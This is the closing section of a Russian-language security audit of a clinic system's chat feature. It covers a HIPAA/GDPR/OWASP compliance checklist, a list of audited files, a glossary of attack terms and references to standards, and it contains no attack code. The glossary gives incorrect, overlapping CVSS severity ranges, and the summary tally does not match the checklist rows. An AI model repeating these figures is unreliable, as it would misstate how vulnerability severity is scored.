2	Шифрование данных в покое (at-rest encryption)	HIPAA § 164.312(a)(2)(iv)	Не соответствует	F-009: content хранится в plaintext Text. Требуется Fernet/PGPcrypto
3	Контроль доступа на основе ролей (RBAC)	HIPAA § 164.312(a)(1)	Частично	RBAC реализован, но нет tenant-изоляции (F-002)
4	Уникальная идентификация пользователя	HIPAA § 164.312(a)(2)(i)	Соответствует	JWT с user_id, проверка в каждом запросе
5	Автоматический logoff (таймаут сессии)	HIPAA § 164.312(a)(2)(iii)	Частично	JWT имеет срок действия, но F-001 (token в URL) снижает защиту
6	Audit controls (запись действий с PHI)	HIPAA § 164.312(b)	Не соответствует	F-007: audit-log silent failure. Нет гарантии записи критических событий
7	Минимизация данных (Minimum Necessary)	HIPAA § 164.502(b)	Не соответствует	F-008: previews бесед раскрывают PHI (content[:100])
8	Целостность сообщений (контроль изменений)	HIPAA § 164.312(c)(1)	Частично	Мягкое удаление без hash-chain. Возможно редактирование БД без следа
9	Защита от несанкционированного доступа к PHI	HIPAA § 164.514(b)	Не соответствует	F-002, F-004, F-006: недостаточный контроль доступа к сообщениям и файлам
10	Право на удаление (Right to Erasure)	GDPR Art. 17	Не соответствует	F-017: мягкое удаление, файлы остаются. Нет periodic cleanup task
11	Шифрование персональных данных (Pseudonymisation)	GDPR Art. 32(1)(a)	Не соответствует	F-009: нет шифрования content и patient_id
12	Логирование и мониторинг доступа	GDPR Art. 32(1)(d)	Частично	F-018: bare except скрывает ошибки. Нет metrics/alerting

№	Требование	Стандарт	Статус	Комментарий
13	Защита от XSS и инъекций	OWASP A03:2021	Не соответствует	F-003, F-010: неполная валидация файлов, Markdown без sanitize
14	Защита от SSRF	OWASP A10:2021	Частично	F-011: SSRF-защита есть, но уязвима к DNS rebinding
15	Rate limiting и защита от DoS	OWASP ASVS V12.1	Не соответствует	F-005: нет rate-limiting на чат-эндпоинтах
16	Content Security Policy (CSP)	OWASP ASVS V14.4	Не соответствует	F-016: CSP не настроен

Таблица 7. Compliance-чеклист по HIPAA Security Rule и GDPR.

Итог **compliance**-оценки

Из 16 проверенных требований: **3** соответствует, **4** частично соответствует, **9** не соответствует. Для прохождения compliance-аудита (HIPAA / GDPR) необходимо устранить находки F-002, F-003, F-004, F-007, F-008, F-009, F-015, F-016, F-017. Срок прохождения compliance-аудита после устранения: ~2 месяца.

11. Приложение А: список проанализированных файлов

В таблице перечислены все файлы, проанализированные в ходе аудита. Для каждого файла указан путь, краткое назначение и количество строк кода (приблизительно).

№	Путь	Назначение	Строк
1	backend/app/ws/chat_ws.py	WebSocket-обработчик чата, ChatConnectionManager, JWT auth	293
2	backend/app/api/v1/endpoints/websocket_auth.py	WebSocket auth для очереди (с rate limiting, для сравнения)	459
3	backend/app/services/messages_api_service.py	Service-слой сообщений + REST-эндпоинты /messages/*	860
4	backend/app/crud/message.py	CRUD-операции с таблицей messages	198
5	backend/app/models/message.py	SQLAlchemy-модель Message, MessageReaction	131
6	backend/app/schemas/message.py	Pydantic-схемы запросов и ответов	122
7	backend/app/core/messaging_config.py	Матрица прав MESSAGING_PERMISSIONS	57
8	backend/app/core/messaging_contract.py	Контракт WS-событий (типы, версии)	~80
9	backend/app/utils/audio.py	Валидация и обработка аудио-файлов	162
10	backend/app/api/v1/endpoints/utils.py	link-preview endpoint с SSRF-защитой	101
11	backend/app/services/data_retention.py	Сервис ретенции и физического удаления сообщений	~150
12	backend/app/middleware/websocket_rate_limit.py	Rate limiter для WebSocket (только queue)	~100
13	backend/app/middleware/security_middleware.py	Security headers (без CSP)	~80
14	frontend/src/components/chat/ChatWindow.jsx	Главный UI-компонент чата	1245
15	frontend/src/contexts/ChatContext.jsx	React Context: WebSocket lifecycle, message state	647
16	frontend/src/components/chat/LinkPreview.jsx	Превью внешних ссылок (фронт)	62
17	frontend/src/components/chat/VoiceRecorder.jsx	Запись голосовых сообщений (MediaRecorder API)	~190
18	frontend/src/components/chat/FileUploader.jsx	Загрузка файловых вложений	~50

Таблица 8. Файлы, проанализированные в ходе аудита.

12. Приложение Б: глоссарий и ссылки

12.1. Глоссарий

Термин	Определение
CVSS v3.1	Common Vulnerability Scoring System — стандарт оценки серьёзности уязвимостей. Диапазон 0.0–10.0. Критическая: 7.0–10.0, Высокая: 4.0–6.9, Средняя: 4.0–6.9 (по newer breakdown), Низкая: 0.1–3.9.
PHI	Protected Health Information — защищаемая медицинская информация по HIPAA. Включает любые данные, идентифицирующие пациента и относящиеся к его здоровью.
PII	Personally Identifiable Information — персональные данные, идентифицирующие физическое лицо (ФИО, email, телефон и т.д.).
IDOR	Insecure Direct Object Reference — уязвимость, при которой пользователь может получить доступ к объекту другого пользователя путём подмены ID в запросе.
SSRF	Server-Side Request Forgery — атака, при которой сервер заставляют выполнить HTTP-запрос к произвольному (часто внутреннему) ресурсу.
XSS	Cross-Site Scripting — внедрение JavaScript-кода в страницу, выполняемое в браузере жертвы.
Stored XSS	Вариант XSS, при котором вредоносный код сохраняется на сервере (например, в БД) и выполняется у всех пользователей, открывших страницу с этим кодом.
JWT	JSON Web Token — стандарт RFC 7519 для представления claims между сторонами в виде JSON-объекта.
WebSocket	Протокол RFC 6455 для полнодуплексной связи между клиентом и сервером поверх TCP.
RBAC	Role-Based Access Control — модель контроля доступа, в которой права назначаются ролям, а пользователи получают роли.
Tenant isolation	Изоляция данных между разными клиентами (tenants) в multi-tenant системе.
DNS rebinding	Атака, при которой DNS-сервер атакующего возвращает разные IP-адреса для одного hostname в разные моменты времени, обходя SSRF-защиту.
Magic bytes	Последовательность байтов в начале файла, однозначно идентифицирующая его формат (например, \x89PNG для PNG).
MIME-sniffing	Поведение браузера, при котором он определяет тип ресурса по содержимому, игнорируя Content-Type.
Audit trail	Неизменяемая последовательность записей о действиях в системе, используемая для расследования инцидентов.
Retention policy	Политика хранения данных, определяющая, как долго хранятся записи до физического удаления.
CSP	Content Security Policy — HTTP-заголовок, ограничивающий источники загрузки ресурсов (скриптов, стилей, изображений) для защиты от XSS.
Multi-instance	Развёртывание приложения на нескольких серверах/контейнерах для горизонтального масштабирования.

12.2. Ссылки на стандарты

- OWASP Application Security Verification Standard (ASVS) v4.0.1 — <https://owasp.org/www-project-application-security-verification-standard/>
- OWASP Top 10 (2021) — <https://owasp.org/Top10/>
- OWASP WebSocket Security Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#websockets
- NIST SP 800-190 — Application Container Security Guide
- RFC 6455 — The WebSocket Protocol
- RFC 7519 — JSON Web Token (JWT)
- HIPAA Security Rule — 45 CFR § 164.302–318
- GDPR — Regulation (EU) 2016/679, в особенности Art. 5, 17, 32
- CVSS v3.1 Specification — <https://www.first.org/cvss/v3.1/specification-document>

Конец отчёта

Настоящий отчёт охватывает только in-app чат системы управления клиникой github.com/drsapaev/final. AI-чат, Telegram-бот, подсистема очередей и платежей вышли за рамки запроса и могут быть аудитированы отдельно. После устранения находок Волны 1 рекомендуется провести повторный аудит с динамическим тестированием (DAST) и нагрузочным тестированием.